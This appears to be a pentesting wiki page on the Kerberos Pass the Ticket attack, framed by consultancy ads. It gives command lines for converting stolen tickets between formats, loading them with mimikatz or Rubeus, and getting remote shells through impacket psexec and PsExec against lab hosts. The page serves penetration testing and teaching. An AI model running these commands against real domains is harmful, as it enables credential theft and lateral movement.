# Pass the Ticket
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{% hint style="danger" %} Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**. {% embed url="https://securityhubs.io/" %} {% endhint %} ## Pass The Ticket (PTT) This kind of attack is similar to Pass the Key, but instead of using hashes to request a ticket, the ticket itself is stolen and used to authenticate as its owner. **Read**: * [Harvesting tickets from Windows](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) * [Harvesting tickets from Linux](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) ### **Swaping Linux and Windows tickets between platforms** The [ticket\_converter](https://github.com/Zer1t0/ticket\_converter) script. The only needed parameters are the current ticket and the output file, it automatically detects the input ticket file format and converts it. For example: ``` root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi Converting ccache => kirbi root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache Converting kirbi => ccache ``` [Kekeo](https://github.com/gentilkiwi/kekeo), to convert them in Windows. This tool was not checked due to requiring a license in their ASN1 library, but I think it is worth mentioning. ### Pass The Ticket Attack {% code title="Linux" %} ```bash export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass ``` {% endcode %} {% code title="Windows" %} ```bash #Load the ticket in memory using mimikatz or Rubeus mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi" .\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi klist #List tickets in cache to cehck that mimikatz has loaded the ticket .\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd ``` {% endcode %} {% hint style="danger" %} Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**. {% embed url="https://securityhubs.io/" %} {% endhint %}
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